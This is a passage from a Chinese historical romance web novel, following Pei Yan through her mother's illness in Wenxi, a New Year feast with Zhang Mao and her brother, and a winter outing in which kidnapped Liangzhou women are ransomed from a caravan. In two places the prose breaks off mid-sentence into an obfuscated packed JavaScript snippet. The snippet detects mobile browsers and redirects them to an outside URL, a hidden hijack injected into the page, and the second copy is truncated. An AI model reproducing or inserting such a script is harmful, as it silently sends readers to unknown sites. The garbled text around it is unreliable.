柳蕙与裴妍相熟,赶紧带着妹妹上前见礼。 裴妍笑着叫她“阿蕙姐”,看向她堂妹时却有些迟疑,柳蕙的这个堂妹她也只见过一次,不太熟悉,叫什么来着? 柳蕙笑道:“这是阿芝,她常年在祖宅侍奉我大母,鲜少与我们饮宴交游,你不记得也寻常。” 张茂心上一跳,平常不出来,今日送别郎君却特地带她来见自己?这心思,路人尽知。 好在裴家兄妹都不是七窍玲珑的人,并未察觉到不妥,笑着便岔了过去。 待裴憬上了马车后,裴妍才得以与张茂单独说了句:“阿茂哥保重!” 这话,柳蕙和她堂妹也说了,只是把“阿茂哥”换成了“张小郎”而已。 竟是没别的话交代了?张茂越发的气郁,难得对裴妍肃了脸,一丝笑意欠奉,做了个揖就转身拍马上路了。 裴妍有些后知后觉,问一旁的柳蕙:“阿茂哥今日是不是不太高兴?” 柳蕙所有的心思都挂在裴憬身上,哪有闲情管旁人,敷衍道:“许是起得太早,前路劳累,开心不起来吧!” 联想到她们来时的不太平,裴妍秀眉微簇,叹道:“难怪呢!” 柳蕙身后的柳芝却一脸失落地望向车马远去的方向,马蹄带起的滚滚烟尘遮住了她的视线,也隐去了眼角朦胧的泪意——自上次无意间在姑姑家见过张茂后,她就对他惊为天人芳心暗许。于是特意在疼自己的大母处敲边鼓,才得来家里对张小郎的看重。甚至大母还拜托姑姑为自己向郭夫人说项。郭夫人却以张小郎家中父兄皆在,自己不得做主为由婉拒了柳家。 柳芝原想着趁今日道别之际委婉地向张茂诉一番衷肠,兴许——他也喜欢自己、愿请家中长辈来柳家提亲也未可知。谁能料,从头至尾,他竟是连一眼都不曾看向自己! 她转头看向裴妍。女子心思细腻,尤其是对着自己喜欢的郎君。她敏感地觉察到,在场那么多人,张茂的眼里却只有裴妍! 她见过裴妍没戴幂离的样子,平心而论,裴妍虽年龄比自己小,但确实长得漂亮,又出身钜鹿郡公府。 柳芝泛出一丝苦笑,有些自嘲地想,此珠玉在前,难怪张小郎看不上自己呢! 21. 年年陌上生秋草,静待花红绿柳时 送走裴憬和张茂后,裴妍的生活一下子静谧下来。 不是没有饮宴,不是没有交游,相反,自她们来到闻喜,各路豪强士绅的请帖就跟雪花似的飞来。 可小郭氏身体欠佳,她又自命清高,不大看得上闻喜的士族,更怕女儿被乡下郎君拐带了心智。 因而,除去族长和亲家柳氏的饮宴,其他人家的,她一概回绝。 然而酒香不怕巷子深,长房母女毕竟代表着如日中天的钜鹿郡公府,谁不想和钜鹿郡公攀交情? 小郭氏可以不给闻喜豪门好脸色,族长家和柳家却不能不给。 是以,总有些推不掉的应酬烦扰着她,尤其那等家中有儿郎的,总是想着来小郭氏跟前露脸。 钜鹿郡公的女儿他们不敢肖想,侄女总能试上一试吧? 小郭氏不堪其扰,为了躲避交际,不惜带着裴妍住到了首山北麓、闻喜南郊的一处庄子去,等闲不出门。 闻喜的乡下清静而无聊。对于裴妍这样才十来岁的少女而言,在这穷极无聊的郊外中困着,好比坐牢。 然而小郭氏身体不好,需得静养,裴妍虽不喜这样的生活,却不好忤逆母亲。还好,她有裴娴和柳蕙这两个猪朋狗友,时不时来庄子陪她小住一阵,也算有了伴。 京里的信件也没有断过,裴憬每个月都有信至,裴妡也偶有信来。 裴憬的信字迹铿锵工整,连裴妍都能看出,八成是张茂代笔的,里面除了问候自己和母亲,还时常问起柳蕙的近况,随信而来的还有京城各时令的风物,亦是裴妍一份,柳蕙一份。 裴妍常拿此事开未来嫂子的玩笑,柳蕙起初还害羞,时日久了,脸皮也厚起来。 这日,裴妍又拿阿兄的来信打趣柳蕙,柳蕙不仅没害臊,反而问她:“既是羡慕我,何不快些给自己也寻个好郎君?” 这回轮到裴妍羞红了脸啐她。 一旁的裴娴却摇头叹道:“如阿憬哥哥这般体贴的郎君比金子还少,你当谁都有你这样的福气?” 裴娴自小与表哥薛翊订亲,可薛翊是武将,琢磨兵书的时间比琢磨她多,更别说什么寄情书、送礼物了。 裴妍却道:“可我哥既不会文章,又不会带兵。若是拿我哥跟你家薛五郎换,你答应不?” 裴娴诚实地闭了嘴,要功名还是要温柔,确实两难。 柳蕙想了想,却坚定地道:“比起功名利禄,我更想两个人能时常伴在一起。哪怕只是赏赏景聊聊天。”所以,比起薛五郎,她更钟意裴憬这样,温良体贴的郎君。 “你呢?阿妍,你将来想嫁什么样的夫君?”柳蕙歪头问道。 裴妍被问住了。 她一手托腮,盯着案上的梅枝认真地想了想,鬼使神差的,脑海中不自觉地划过张茂的脸,就听她道:“那自然是既有阿兄的温柔,又能文能武的那种!” “贪心!”裴娴和柳蕙皆笑着咯吱她。 然而,裴娴和柳蕙总有回去的时候。每当此时,漫天的孤寂便会卷得裴妍喘不过气来。 小郭氏受婆婆影响,时常静坐悟道。她见裴妍无所事事,便要求女儿陪着她一起参悟,这可把裴妍吓坏了——这么盘腿一坐就是半天的,她可受不了! 小郭氏独坐静室,裴妍就只能带着容秋在偌大的庄子里闲逛。 每当此时,对京城的思念便如跗骨之蛆,在她的骨隙里疯长。 她开始有意无意地怀念京城的过往,那繁华的东西市,热闹的茶楼饭馆,琳琅满目的店面,都似在诱惑着她。 就连曾经不喜欢的女工等课业,似乎也没有那么面目可憎了。 可是,秋去冬来,眼见着年节将至,京里的叔父和祖母都没有让她们回京的意思。更要命的是,年节前几日,小郭氏的病情突然恶化起来。 闻喜的冬日比洛阳来的更加阴寒,春日却迟迟未至。尽管别庄的主宅里,一直燃着昂贵的银丝炭,尽管小郭氏已经尽量减少外出赴宴,快到元日的时候,体弱的她还是病倒了。 闻喜有名的和缓请了个遍,却依然没有起色。眼见着小郭氏一日比一日憔悴,裴妍急得如同热锅上的蚂蚁。 她给京里去了信,可是至今没有回音。她半跪在母亲的榻前,拿下她额头上烤干的巾帕,重又浸入身边的铜盆里,把湿漉漉的帕子覆在母亲滚烫的额头上。 怎么办呢?母亲已经烧了一整日,再不退烧,如何熬得过去? 容秋和定春劝她暂且回去歇息。她摇头,拽着母亲的手靠坐在床头。 屋子里安静得只听得小郭氏粗重的喘气声。一股巨大的孤寂再次席卷而来。 她和母亲,好似被世人遗忘了。她似乎开始理解母亲对二房的怨怼——叔父毕竟不是父亲,他对母亲也好,对自己也罢,更多的是亲戚间的照拂。 若是她的父亲还在,他会狠心的把母亲和自己留在这孤零零的庄子里,自生自灭吗? 裴妍命人又洗了一条帕子,给母亲一根根地擦拭着手指。埋怨的种子一旦种下,无数的证据便接踵而来。 就像如今,阿母病成这样,大母竟然不过问一句!难道阿母不是她的侄女、儿媳?自己不是她的亲孙女?她怎么能这么狠心…… 人在遭遇厄运的时候,往往会迁怒。此时的裴妍便是如此。毕竟,若非祖母和叔父授意,她和母亲又怎会来这穷乡僻壤受罪? 这几日大雪封山,院门外,正是白茫茫一片。 雾霭蒙蒙间,突有一人一骑自山下驰道快马而来。 守门的部曲立即警觉起来,布满冻疮和老茧的手不自觉地握向刀柄。待看清来人,才松了口气——原是裴家的清客张茂。 部曲连忙将人请进去。 裴妍怨过也恨过了,抱怨完的她亦没了精神,正趴在母亲的榻边打盹,便听得外间传来定春的通报,道是张小郎求见。 裴妍有一瞬的愣怔,张小郎……阿茂哥! 他怎么来了? 门被打开,一个高昂的身影阔步入内。 张茂依然是一身玄色劲装,头上马虎地拢了个髽发,许是连夜赶路,平日里一丝不苟的鬓角显得有些杂乱。 屋内烧着炭火,外头的风霜遇热融化在他的发丝上,几束湿漉漉的碎发杂乱地贴在额前,其下是一双黑亮却深邃的眼睛,带着一丝担忧,朝裴妍走来。 裴妍只觉自己犹如跌倒之人突然被拉了一把,瞬间有了主心骨,悬着的心终于放了回去。 张茂确实是来帮她的。 原来,钜鹿郡公府太夫人和家主裴頠自接到裴妍的求救信后,便立即向张茂打听皇甫神医的去处。 好在皇甫严尚未离京,张茂当即请他来闻喜为郭夫人诊脉。裴憬作为长房独子,也随行而来。 只是皇甫严和裴憬二人一个年纪大,一个身体弱,天寒地冻的,只能坐马车。 张茂怕裴妍忧心,便冒着漫天风雪,快马加鞭单人单骑的先来报信。 在听说“最迟晚间,皇甫师叔便能来家中为夫人请脉,大郎也来了”的消息后,裴妍紧蹙的蛾眉一松,焦虑了几日的脸上终于有了一丝喜意。 裴妍对张茂十分感激,见他衣衫凌乱地站在屋子里,发上尽是化了的雪水,怕他受凉,忙殷勤地拉了一张矮床与他坐着,又命容秋端来姜汤,她亲自递给张茂。 张茂有些受宠若惊。 他看了眼裴妍的脸色,知她这几日定是没有休息好,便劝她:“你且去歇歇,屋里交给定春和容秋,我在外面守着。” 裴妍摇头,她转头看向榻上饮了药、正陷入昏睡的母亲,神情黯然,低声道:“我想守着阿母,就像幼时她守着我那样。” 张茂的只觉莫名的心疼。他想到自己离府时,钜鹿郡公府里刚挂起崭新的大红灯笼,门口的桃符亦换了新的。 年关将至,京城也好,闻喜也罢,哪家不是张灯结彩,喜气洋洋? 对比之下,这座庄子简直静谧得可怕。 他对放出谣言的羊家恨意更甚,若非他们妄议滋事,这对孤儿寡母何至于有家难回,只能龟缩在这乡下的方寸之间? “阿茂哥,大母可有说,我们什么时候能回去?”裴妍低着头,小心翼翼地问。 张茂皱眉,此行郡公和老夫人并未交代长房的归期,想来是要再等些时候。 他怕裴妍失望,避重就轻道:“郡公原是想接你们回来过年的。但老夫人考虑到大夫人的身子,怕路上着了寒,就想着待天暖些再说。” 可不是?这天寒地冻的,阿母天天待在家里还得了风寒,哪能赶路呢?裴妍点头。 在见到张茂的那刻起,她先前对祖母还有叔父一家的怨怼便消解了许多。原来他们不是不管自己,只是路途遥远,来往费时罢了。 “太夫人和郡公还是念着你们的。”张茂宽慰她。 “我知道。”裴妍道,“我也想他们。” 是真想!真想大母快把她们娘俩召回去,再在闻喜窝下去,她快要疯了! 二人相对而坐,各自想着自己的心事。不久,就都打起了瞌睡——他俩一个赶路,一个侍疾,这几日都没有休息好。 定春和容秋对视一眼,不敢打扰他们,静静地退了出去。 良久,案上的烛火噼啪一跳,打破了一室的静谧。 张茂本是坐在矮床上闭目养神,混混沌沌时,见裴妍趴倒床沿,一只手还拉着郭夫人的手臂。 他猛然惊醒,因怕她着凉,他赶紧起身环视屋内,见屏风后还有一张矮塌,便小心翼翼地将她抱到外间的榻上躺着,又取了衣架上的大氅,覆在她的身上。 要离开时,裴妍却一把抓住他的手不放。她似是梦到了什么不悦的事,秀眉微蹙,嘴里连声念叨着“阿母”。 张茂不敢硬掰,便由她握着,自己席地靠在榻边坐着,继续闭目养神——赶了一日夜的路,铁打的人也会累的。 室内再次静谧无声。天光渐渐暗去,不知过了多久,屋内的二人被容秋的敲门声惊醒,原是神医和裴憬到了。 裴妍起身,却见自己竟置身榻上,一旁的地上坐着张茂,自己还牢牢地抓着张茂的手! 她脸上羞红,连忙抽回手:“我怎么就睡着了?” 张茂亦起身,甩了甩僵硬的手臂,笑道:“你这几日没有睡好,神仙也得打盹啊!” 皇甫严一到庄子里,茶都没来得及喝,就被请进了内室给小郭氏诊脉。裴憬亦紧随其后。 神医到底是神医,皇甫严给小郭氏望闻问切后,立即开了药方,郭夫人在饮下一剂汤药后,当夜就退烧了。 皇甫严又辅以针灸、药浴,两日后,郭夫人的头疼、乏力、嗜睡等症状便减轻了许多,没过多久,就能下床行走了。 之后皇甫严还为郭夫人调配了药膳的配方,方便她日常滋补。 在神医的妙手下,小郭夫人一天好似一天,快到元日时,已基本痊愈了。 裴憬虽平日里很怵嫡母,但在侍疾一事上不敢有丝毫不马虎。 因有裴憬轮流值守,裴妍总算能轮着休息些时候,人也比之前精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001215|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多。 元日在即,族长夫人听闻小郭氏病情有所缓解,特地前来探望,还下了帖子请长房一家到他们家过年。 可小郭氏身体初愈,不能挪动,只得婉拒。 故而,这一大家子人包括皇甫神医和张茂在内,今年便都在庄子上过年了。 又因着郭夫人不能劳累,安排年宴的事便落到了裴妍头上。 终于可以借着采买之名,名正言顺地下山游玩了! 裴妍兴冲冲地拉着裴憬和张茂到县城里买了各种吃食和年节上要用的物品,回来便指派人装点庄子。 见到张灯结彩喜庆洋洋的别庄,裴妍来这里半年了,头一次感到这么热闹喜庆,再看看母亲、哥哥还有张茂,她突然觉得原来她压根无所谓在京城还是在闻喜,只要这些她在意的人陪在身边,她便觉得无比开心,那荒谬的孤独感自然也随着热闹烟消云散。 元日这天的年夜饭吃得可谓宾主尽欢。皇甫神医的两个儿子都在外为官,老妻过世后,他便云游度日,是以在不在家过年并无所谓。 郭夫人庄子上的菜都是请的闻喜县城的大厨做的,很合他的口味。小老儿吃得很满意。 裴憬往年在钜鹿郡公府过年,和两个惊才绝艳的堂弟在一处时,总是谨小慎微,饭不敢多吃,话不敢多说,生怕惹了错处,被大家看笑话。如今来了闻喜,身边只有嫡母、妹妹还有张茂这个伴当,没了两个堂弟做参照,他只觉惬意非常。巴不得年年在闻喜过年才好。 至于张茂,他自小在军营长大,幼时过年也多是在军中,甚至有时在行军途中。也就来京城的这几年才和父兄吃上了像样的年夜饭。因而他对环境要求不高。闻喜庄子上的年夜饭于他而言,已是好极。 小郭氏看着下首诸人其乐融融,悬着的心才放了回去。毕竟因她之故,连累神医和张茂元日在外,她心里充满愧疚。 小郭氏毕竟大病初愈,精力不济,坐了会就告罪回去歇息了。 皇甫严喝了不少,没多久便醉了过去。 张茂命家奴将他扶回房里,另派人熬了醒酒汤与他解酒。 于是席上只余裴憬、裴妍和张茂三个年轻人。 没了长辈在场,气氛自然松快许多。三个人吃吃喝喝说说,直到月上中天还没有散场。 本来元日小孩子也是要守夜的,三个人便慢悠悠地喝酒聊天。 直到三人都有些微醺,说话打结,脑袋也昏起来。 没了嫡母管束,裴憬闹着要玩投壶,裴妍却要玩双陆。 张茂无奈,只好一身二用,一只手陪裴憬投壶,另一只手陪裴妍打双陆。即便这样,他依然大杀四方,将裴家兄妹打压得毫无胜算。 裴妍气得拿骰子砸张茂:“你不是人!” 裴憬点头附和:“可不是!这样都能赢!” 张茂酒量比他们略好些,但也饮了不少,他哄着二人道:“再来一局,我保管输。” 裴妍头摇得跟拨浪鼓似的:“谁要你故意输了!我不肯和容秋玩,就是因为她总是让着我!” 裴憬亦道:“男子汉大丈夫,谁让谁是女人!” 裴妍不乐意了:“女人怎么了?你不是从女人肚子里出来的?” 这话越说越不像样,张茂知道不能再任他们胡闹下去,便叫来容秋,让她送裴妍回房,自己则亲自架着裴憬往他的院子走。 裴憬却不乐意,推开他道:“你身上一股酒味,不香!”他一眼看向对面的容秋,咧开嘴,讨好地近前:“容秋妹妹,不若你来扶我!阿茂,你去送阿妍!” 真是语不惊人死不休,一旁服侍的长河和听雨脸色大变。 张茂是外男,哪有让外男送自家妹妹回房的? 还有容秋,她是妹妹的婢子,哪有哥哥把手伸向妹妹房里人的道理? 乱套了! 张茂额角青筋跳动。他给脸色煞白的容秋使了个眼色。 容秋会意,狠狠瞪了裴憬一眼,转头就扶着迷糊的裴妍回房了。 张茂对裴憬不再客气,肃着脸,一手拎着他的衣领,提溜着把他扔回了房间。 裴憬一路还在不知死活地高喊:“容秋?容秋妹妹呢?”跟在后头的长河恨不能堵上他的嘴。 好不容易到了裴憬的房间,张茂将人扔床上,转头对长河道:“大郎房里可有服侍的人?” 长河没反应过来,他不就是服侍大郎的人么? 一旁的听雨重重地咳了一嗓子,意味深长地瞟了床边的美人图一眼。 长河这才反应过来,张小郎说的是那种“服侍”啊! 长河苦笑道:“太夫人和夫人都不许郎君有房里人,故而……” 难怪!张茂对他道:“既如此,让下人熬些沙葛汤来,给大郎解酒吧!” 言罢,不再理会这对主仆,径直回了屋。 长河摸着脑门,心道,解酒不是用蜜浆么,沙葛汤是什么?难道是神医指点的新方子? 听雨见他迷糊,临走前特意解释道:“我家郎君说的那汤不仅可以解酒,还是清心去火的良药!” 长河恍然大悟,不敢耽搁,赶紧命小仆去厨房做。 果然,裴憬饮下汤药后,脸上潮红渐褪,人也安分了许多,不久就沉沉地睡着了。 自此,长河对张茂的崇拜又上了一层。他对听雨夸道:“你家小郎不仅能文能武,没成想对药性也颇有研究哩!” 听雨暗笑,心道,那是因为我家郎君也用过啊!都是血气方刚的年纪,谁还真能清心寡欲呢? 22. 少年载酒欲同游,衷肠别是一番春 元日过后,大春虽到,但闻喜依然天寒地冻。 裴憬和张茂皆忧心郭夫人会病情反复,决议逗留一月,待春暖时,再回京不迟。 至于皇甫神医,他自觉闻喜是个不错的地方,他的师弟挚虞曾经做过闻喜县令,在这里有三四好友,他拜访后甚为相得,干脆借着为郭夫人疗养的由头,留了下来。 家里最高兴的当属裴妍了。为了安全,也为了不让裴妍被乡下的郎君招惹,小郭氏此前一直限制她出府。如今有裴憬和张茂在,郭夫人对女儿的管束放松了许多,也不拦着她出去了。 这日,柳蕙过府来玩,明眼人都知道她是来寻裴憬的。 庄子里有长辈在,叙旧不便,裴妍提议大伙去庄子外面走走。 年初正是青黄不接的时候,虽已开春,艳阳高照,地面仍有残雪未化。 路面湿滑,柳蕙披着大氅,手里握着暖炉,行走有些踉跄。 裴憬赶紧抢在柳蕙的丫鬟前扶住她。 柳蕙脸上一红,裴憬却对她憨厚一笑,扶在柳蕙腰间的手再没有挪开。 张茂在后面见了,眉头微挑,大兄深藏不露啊! 恰此时裴妍亦脚底打滑,眼见着要摔倒,张茂眼疾手快地将她扶住。同样伸手的还有一旁的容秋——毕竟她也是练家子,反应不比张茂慢。 然而,容秋却觉得张小郎看自己的眼神隐有责怪之意。她反应过来,扶着裴妍的手瞬间一松。张茂当即接过裴妍,待她站稳后才松了手。 裴妍惊魂未定,看着前面相携而走、时不时低头私语的哥哥和准嫂子,悔道:“为了给他们打掩护,倒把我们冻死了!” 张茂瞧了眼前面的二人,笑道:“他们走他们的,前面不远有个亭子,我们过去坐坐。” 转头吩咐听雨去亭子里生火,又让容秋折回庄子取些围屏暖帐来。自己则小心地护持着裴妍往前走。 容秋的脚程很快。待听雨砍了枯枝,抖索着生好火时,她恰也带着几个家奴将一应物什搬了过来。 几人合力,不一会,就把四面透风的凉亭拿屏风围住,中间生着篝火,地上铺了兽皮毡垫,待张茂扶着裴妍步入凉亭时,她只觉浑身一暖,已经失去知觉的脚底瞬间有了温度。 “可算缓过来了!”裴妍解开大氅,欣喜地坐到毡垫上,伸出玉葱般的小手就着篝火取暖。热辣的火光映在小女郎如雪的肌肤上,长如蝶翼的睫毛许是被烟火熏着,一颤一颤的。 张茂劝她:“且离火远些,这不是银丝炭,小心呛着。” 裴妍懒得起身,极不情愿地拿胳膊撑地,连带毡垫一起往后挪了挪,跟只慵懒的小花猫似的。 张茂莞尔,自腰间解下一个酒葫芦,交给容秋去温酒。 “我带了些清酒来,多少喝些,或能暖胃。” “有酒无肉,好没意思!”裴妍嘟嘴。 张茂闻言,负手抬头,看了眼四周,凉亭建于坡顶,只见亭外残雪枯草,一片肃杀。 “这有何难!”言罢转身出亭。 裴妍好奇地看着他的背影,身后的听雨赶紧解释:“郎君怕是要去行猎。” 裴妍不大高兴,说好的四人同行,如今阿兄带着阿嫂不知去了何处,阿茂又自己打猎去了,竟把她一个人丢在这荒郊野岭。早晓得她不出来啦!浑然忘了刚才可是她自己喊着要吃肉的! 好在张茂回来得快,不过两炷香的光景,就见他一手一只野鸡,自远处奔跃而来。他今日本是着了件莲青色儒服,为了打猎方便,袖子上捆了襻膊,露出一段肌肉分明的手臂,下袍的一角别在腰间,露出健壮的长腿,行走间稳健有力。许是行猎期间奔跑太多,张茂的颊边溜出一截碎发,随着他的步伐晃荡,令这个一贯端方的少年多了几分浪荡洒脱。 张茂将野鸡交给听雨处理,回头见裴妍愣愣的看着自己,笑道:“等急了吧?这山里的野鸡个顶个的聪明,让我一番好找。可惜天寒地冻,鸡也没有春日里肥。” 若是别人,或许会惊叹他捕猎之快,顺带夸赞几句。可裴妍的关注点却在另一件事上。 “阿茂哥没带箭矢,如何猎得这些?”裴妍回过神来,好奇地问。 张茂粲然一笑,自靴子里掏出一把匕首,轻轻一掷,便见那小刀以迅雷不及掩耳之势,钉入了一旁的亭柱里,端的是入木三分,柱子上的木头甚至露出了一丝明显的裂痕。 寒风呼啸,诸人皆吸了口凉气。 不管是裴妍,还是亭子内外围观的婢子奴仆皆是一惊。 “好厉害!”裴妍结巴着鼓掌。 一时间,诸人皆跟着道彩。 张茂却并不多话,只是笑笑,起身把匕首拔出来,重又插回自己的靴子里。只在这凉亭的柱子间留下一道深深的印痕。 在场诸人里唯有容秋见惯不怪,心道,裴府诸人对我们小郎的身手真是一无所知!想当年小郎在行军途中,为了果腹,什么没猎过,别说一两只山鸡,就是豪猪棕熊也不在话下。 听雨很快将处理好的山鸡架在了篝火上炙烤。 张茂随身还带着孜然胡椒一类的香料,洒在山鸡上,瞬间焦香四溢,竟把已经走远的裴憬和柳蕙都吸引了回来。 裴妍看着他俩紧握的手,嗤笑着打趣:“有情饮水饱,你们也会饿?” 柳蕙红着脸不好意思回应,裴憬却不觉得什么,他一屁股坐到听雨旁边,盯着烧鸡垂涎欲滴:“横竖两只鸡,我和阿蕙一只,你和茂弟一只,正好够分。” “好不要脸!”裴妍道:“这是阿茂哥打的,你该问问阿茂哥的意思。” 自是同意的! 张茂将一只鸡分给了裴憬。自己接过听雨递来的烧鸡,仔细地分出一只大腿,又自袖管中拿出一张干净的帕子,将腿骨裹住,这才递给裴妍。 裴妍迫不及待地接过,咬一口,脆皮油香,竟比家里疱人做的还好吃!再配上温好的青梅酒,真让人食指大动,裴妍只觉胃里暖融融的。 裴憬有样学样,也问身边的长河要了张干净的帕子,裹住鸡腿递给柳蕙,又拿杯子给柳蕙倒酒。 一顿野餐裴妍吃得脑满肠肥,柳蕙吃得面红耳赤。张茂和裴憬则化身殷勤的小厮,将两个女郎服侍地妥妥帖帖。 温酒炙肉下肚,诸人身上都暖洋洋的。裴憬有些饭后温,懒散地仰靠在缇几上和柳蕙闲聊。 正值午间,烈阳高照,裴妍吃得有些撑。她扶着栏杆远眺,见不远处就是官道,人来人往的,还算热闹,便央张茂陪她到附近走走,顺便消食。 首山是闻喜的屏障,更是对外往来的要道。 离凉亭不远就是官道,陆续有几支商旅押着货物与他们擦肩而过。 其中一个商队里除了牛马外,还有四只个头比马儿还高、脚似驴蹄、背上长着两个像山峰一样肉球的畜生。 裴妍何曾见过这样的怪物,慌忙躲到张茂身后,又忍不住探出脑袋来看。 “那是骆驼。” 张茂来自凉州,从小见惯了这些西域来的货物。他向裴妍解释骆驼的来处、习性和在商队中的作用,“这支队伍应是自西边来。” 果然,商队后头还跟着一队高鼻深目的胡女,衣饰也是外邦的打扮,有几个手上还抱着琵琶、小鼓一类的器乐,张茂猜测,许是商队买来转手的歌姬。 有个年轻貌美的胡女经过张茂身边时,突然愣怔了一下,随即转身朝张茂疾跑而来。 事发突然,张茂警惕心起,连忙将裴妍掩在身后,右手不自觉地握在腰间佩剑上。 商队的部曲也很震惊,赶紧过来想拦住她。却见那女郎灵巧地避过护卫,径直跪倒在张茂面前,口口声声唤他:“二郎,郎君可是张家二郎?” 张茂在张家时被唤做“二郎”,到了裴家后,裴府和京里的人多唤他“张小郎”。莫非她是张家人? 张茂狐疑,扶在剑柄上的手松了下来。 “你是何人?竟认得我?” “奴名赫连春,是赫连阿媪的侄女,脱籍前曾在大郎君院中洒扫。”那名胡女自报家门。 张茂记得大哥的乳母确实姓赫连,印象中是个老实巴交的鲜卑妇人,五年前母亲给她一家脱了籍,让她回家随儿女养老。 “既如此,为何流落至此?你家人呢?” 胡女正欲解释,她身后的护卫却赶了上来想将她押走。 裴妍虽不知发生了什么,但看情状,这胡女怕是张茂的同乡,便从腕上拔下一支赤金嵌八宝镯子,扔到护卫脚边,道:“唤你们主事的来,这个胡女我们要了!” 那护卫是见钱眼开的主,见这张、裴二人衣饰做派,心知必是贵人无疑。又见贵人拔毛,心知必是好物,他立刻上前捡起地上的镯子,掂了掂,喜笑颜开地说了声“稍待”,便颠颠地捧着镯子去寻商队领班过来。 那个商队的行首闻讯匆匆赶来,见眼前这对少年男女衣饰光鲜,气度不凡,出手更是大方,这支赤金嵌宝镯子少说值十金,连他这个见过大世面的都得小心捧着,这小女郎居然眼睛都不眨地将之委掷于地,如此做派,必是贵人无疑!反正胡女卖谁不是卖,这小女郎出的钱都够买五个胡女了! 不等裴妍开口,便爽快的吩咐下人奉上这胡女的卖身契。 张茂原是想问一下商队和这胡女的情况,再做打算。奈何裴妍出手太大方,一句废话没有,就将人给买下了。 他有些无奈地转头对裴妍道:“哪有不问价就买的。何况……”他看了眼跪在地上的胡女,“我未必要救她。” 他与赫连一家并无交集,凉州距此地更是万里之遥。此女来历不明,谁知中间有什么勾当? 那女子听罢脸色刷地白了,立刻伏地磕头,恳求道:“二郎做主,奴本在家中安生过活,却在放羊时,被官兵莫名掳为奴隶。还将奴卖到这中原来。奴的家里,必是急死了!” 张茂皱眉,若此女所言为真,一个姑娘家,在家门口放羊都能被掳,则凉州现下不知乱成了什么样子。 安定张氏是凉州的土著豪强,赫连一家素来依附安定张氏过活,官兵居然敢在张家的地界上妄为,可见凉州的郡治已败坏到何种田地。 胡女还欲诉苦,却被张茂止住。他看了眼商队行首,对她道:“回去再说。” 凉州如今是赵王主事,这里人多眼杂,岂可妄言。 张二郎这是肯收留她了? 胡女激动地起身,赶紧擦干眼泪老实地跟在张茂和裴妍身后。然而这胡女只是开了个口子,有被救的先例在,霎时跟在车队后的胡女纷纷冲破护卫的阻拦,跪倒在张茂和裴妍脚边,一口一声地唤着郎君女郎,希冀得贵人垂怜。 她们都是正值妙龄的少女,若不能被眼前的贵人救下,她们大多将会被卖往腌臜的烟花之地。 赫连春与这些同伴们是一起被卖来的,有几个还是同乡姊妹,只好厚着脸皮,小心翼翼地央求张茂:“二郎,他们与我一般,都是自凉州被掳来的良家女子。” 张茂看着跪了一地的少女,心下一沉,都是被掳来的?凉州,竟混乱至斯? 胡女们哀泣于地,裴妍于心不忍,她虽养在深闺,却有一副侠义心肠,尤其见不得这些惨事。 不就是拿钱赎人么!她当即拔了头上、耳上、指头上的金玉物事,拢在手里就要给管事的递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张茂的话令裴妍一愣,提着赭色石榴裙的手一瞬失了力道。长裙落在乌糟半化的雪地里,染上一层水渍,印得裙角一片深红。 此时,容秋也找到了他们。 张茂适时地回避。 婢子们围着裴妍,替她牵裙角的牵裙角,披大氅的披大氅。 裴妍却似入了定一般,低头想着张茂方才的话,直到手心一暖。她低头看去,见到一个温热小巧的铜炉。 “女郎可是累了?怎么发起怔来?”容秋边扶着她往回走边问道。 裴妍摇头。她低头看了眼“全副武装”的自己,又瞥了眼行出不远的胡姬。 胡姬本是要被卖到勾栏地的,身上衣着自是轻透单薄,在萧瑟的寒风中,显得更加瘦弱。 “给她们一人添一身厚袄。” “给谁?”容秋不解地问。 裴妍伸出玉葱一般的手指,顺着前方渐行渐远的倩影,轻声道:“她们!” 日光渐隐,哺时,食案上的饭菜已经上齐,然而,偌大的花厅,仅小郭氏和裴憬二人用饭。 神医受邀去裴族长府上给他诊脉。 裴妍白日里许是累着了,方才容秋来报,倒是女郎吃了些点心后便犯困,已经睡下了。 张茂也派人来报,道是外出行猎时略感风寒,不敢冲撞夫人,故而在房里用膳。 一下子少了那么多人,小郭氏看了眼身后滴漏里的浮舟,一脸不快。 裴憬看向身侧和对面空着的食案,觑了眼嫡母不悦的脸,暗恨妹妹和张茂不讲义气。不来就不来,可好歹提前跟他说一声,他也装病算了! “下午你们去了何处?”小郭氏素来食不言寝不语,可事关她女儿,总得问清楚。 裴憬心里一咯噔,就知道嫡母得盘问他。 “在庄子外面转了转,去了坡顶的亭子,还……还有,妹妹和阿茂午后去了官道那里。”后面他就不知道了。只知道二人回来时,皆一副心事重重的样子,他想和妹妹说笑几句,妹妹都不理他的。 “哦?他俩遇上什么事了不成?”小郭氏当即叫来跟班的婢子和部曲。 然而下人们并未跟随二人出去,也说不出个所以然来。 突然有一个婢子回忆道:“奴出亭子时恰看到听雨领了一队胡女走。”说起此节,许多婢子和部曲也都回忆起来,纷纷附和。 “胡女?”此事蹊跷。 “叫听雨来!”小郭氏心下狐疑,听雨是张茂的人,得问问他,哪里来的胡女? “听雨下午回来取了行李,又挑了几个京里来的弟兄,说是张小郎吩咐的,要他们跟着回趟京城,便出去了。”有部曲禀报。 “胡女呢?” “也跟着走了!”部曲老实回答,心里却在可惜,听说西域的女子热辣奔放,张小郎到底叫听雨把这些胡姬送哪里去?也不和弟兄们分享分享。 张茂从哪里寻来的胡女?又为何送她们去京城?小郭氏百思不得其解。 恰此时,张茂派部曲给小郭氏送来一封信,信里将自己下午的所见所闻都写了下来。小郭氏看罢,这才放下心来。 她对凉州如何不感兴趣,只要此事和女儿无关就好。 